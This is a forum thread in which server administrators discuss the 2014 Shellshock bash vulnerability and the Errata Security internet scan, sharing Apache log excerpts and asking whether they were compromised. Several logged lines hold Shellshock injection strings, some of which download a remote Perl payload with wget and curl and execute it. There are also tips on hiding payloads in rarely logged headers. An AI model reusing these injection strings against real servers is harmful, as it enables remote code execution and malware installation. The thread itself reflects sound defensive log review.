Bash 'shellshock' scan of the Internet

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html

by agwa • 12 years ago

109 38 12 years ago

blog.erratasec.com

agwa5• 12 years ago

I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like:

  209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

mappu• 12 years ago

I was scanned several times - looks like there were a few false starts and different ping commands: http://pastebin.com/badL7dtk

agwa5• 12 years ago

Ouch - that first attempt (ping without the -c option) has probably resulted in a number of long-lived ping processes.

gojomo2• 12 years ago

Someone not wanting to stick out might only probe headers that are less-often logged, but still possibly passed-along as environment variables. Has anyone logged 'HTTP_FROM' in a long while?

jackalope• 12 years ago

The shellshock scan is setting the Host header, which might set the SERVER_NAME CGI variable in some environments and is not included in the Common Log Format or widely used Combined Log Format (which adds the Referer and User-Agent). For example, Apache's httpd directive UseCanonicalName is set to "off" by default, allowing the client to set SERVER_NAME via the Host header, possibly passing it to vulnerable scripts.

Furthermore, an admin might use directives to log the requested host in a name-based virtual hosting environment to facilitate parsing. For example, when using Apache's httpd LogFormat/CustomLog directives, if "%V" is used as the format string and UseCanonicalName is set to "off", the string provided by the client in the Host header will be written to the log. Naive parsers might choke on this or even execute the code. If the shellshock scan results in a delayed surge of pings from a single host, this is likely to be the cause.

agwa5• 12 years ago

Excellent point.

Apache actually passes along any HTTP header, even undefined ones, as CGI environment variables (of the form $HTTP_HEADERNAME) so an attacker could just make up a header and it would be very unlikely to be logged.

ProblemFactory• 12 years ago

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

    access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"

Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.

waynecochran3• 12 years ago

I saw a similar thing in my apache log. I shut the machine down. I will check for changed files via `find` http://xmodulo.com/how-to-find-recently-modified-files-on-li... when I get the chance.

xnull2guest• 12 years ago

Yikes, that redaction... even if it didn't miss digits that's a mighty small search space.

Really interested to see where the bug crops up aside from CGI scripts.

gojomo2• 12 years ago

Now, just to repeat the scan with:

  Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash

"Why, who was that masked sysadmin? We didn't even get the chance to thank him."

gcr• 12 years ago

Who would grant `sudo` privileges to `www-data` without asking for a password? That's just asking for a bad time.

dsl2• 12 years ago

The same people who write CGI applications in bash?

zalzane• 12 years ago

you could prolly get around that

if their httpd.conf has incorrect privs set, you could run a script that changes the "user to run as" to root, then set up a script that would run on next reboot to apt-get upgrade and remove the root privs config line. you'd have to wait for the server to go down or reboot however long in the future, but hey it would work.

NamTaf• 12 years ago

Does this qualify as white-hat or grey-hat hacking? Does the doing only good outweigh the bad of modifying someone else's system?

Mandatum• 12 years ago

Relevant helpful viruses:

https://en.wikipedia.org/wiki/Welchia http://virus.wikidot.com/codered (CodeGreen)

danielweber• 12 years ago

It's a long-running debate in the security community, almost as big as full-vs-responsible disclosure.

On the pro side, it's better than you get patched than stay vulnerable and fall into someone else's zombie list.

On the anti side, you don't know what you are messing with and could break things, oh, and it's illegal and you can go to jail.

On the anti-anti side, if you can't be held responsible to patch your machines, don't complain when someone else does it for you.

That's the barest summary.

wcfields• 12 years ago

I see you!

209.126.230.72 - - [24/Sep/2014:15:04:17 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

209.126.230.72 - - [24/Sep/2014:17:14:58 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

thefreeman• 12 years ago

Not saying I agree with it, but personally I would be worried about prosecution from doing something like the scan he is doing.

nwh• 12 years ago

Especially as it's actually executing code on other people's computers, you can't even really say it's just observation at that point.

ilaksh3• 12 years ago

To be vulnerable to this I need to be running CGI scripts right? I have my system set up with reverse nginx proxies and haproxy TCP mode pass through to things like nginx static files and Node.js servers. Can he run his ping command on my servers? I am thinking not.

nitrogen3• 12 years ago

No, CGI is just the most obvious use of user-controlled environment variables. Other systems may also set environment variables to user-controlled strings for whatever reason. If such a system ever invokes bash, even indirectly or implicitly, with user-controlled environment variables set, that system is vulnerable.

Example non-CGI vulnerable systems from RedHat: CUPS, dhclient.

ilaksh3• 12 years ago

Can someone from the internet use this type of attack through CUPS or dhclient then? I was asking about external attacks, not users that are already on the system.

lcedp• 12 years ago

Now I see him

    209.126.230.72 - - [25/Sep/2014:07:43:58 +0300] "GET / HTTP/1.0" 200 151 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

..and someone else

    89.207.135.125 - - [25/Sep/2014:12:51:01 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

piran• 12 years ago

I just saw something from 89.207.135.125 -- no idea who that is.

boes• 12 years ago

Saw that one two, seems its another guy doing a full scan

joeshaw• 12 years ago

The DHCP attack vector is the one that is scariest to me. We know that dhclient on Linux is vulnerable, but the number of unpatched Linux machines on a public wifi network will likely be too small to be worthwhile to try to capture. Macs on the other hand are prevalent in places like coffee shops, and Apple is notoriously slow to patch security vulnerabilities in their operating systems. Has anyone done much analysis on OS X's vulnerability to this bug?

rsmarples• 12 years ago

dhcpcd-6.4.7 is not vulnerable to this issue as it sanitises variables before calling the shell.

showsover• 12 years ago

Update: Someone is using masscan to deliver malware. They'll likely have compromised most of the system I've found by tomorrow morning. If they using different URLs and fix the Host field, they'll get tons more.

waynecochran3• 12 years ago

From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does?

    "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

waynecochran3• 12 years ago

discussed at http://www.solutionary.com/resource-center/blog/2014/09/shel...

Bad news.

jamil0125• 12 years ago

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Bash 'shellshock' scan of the Internet

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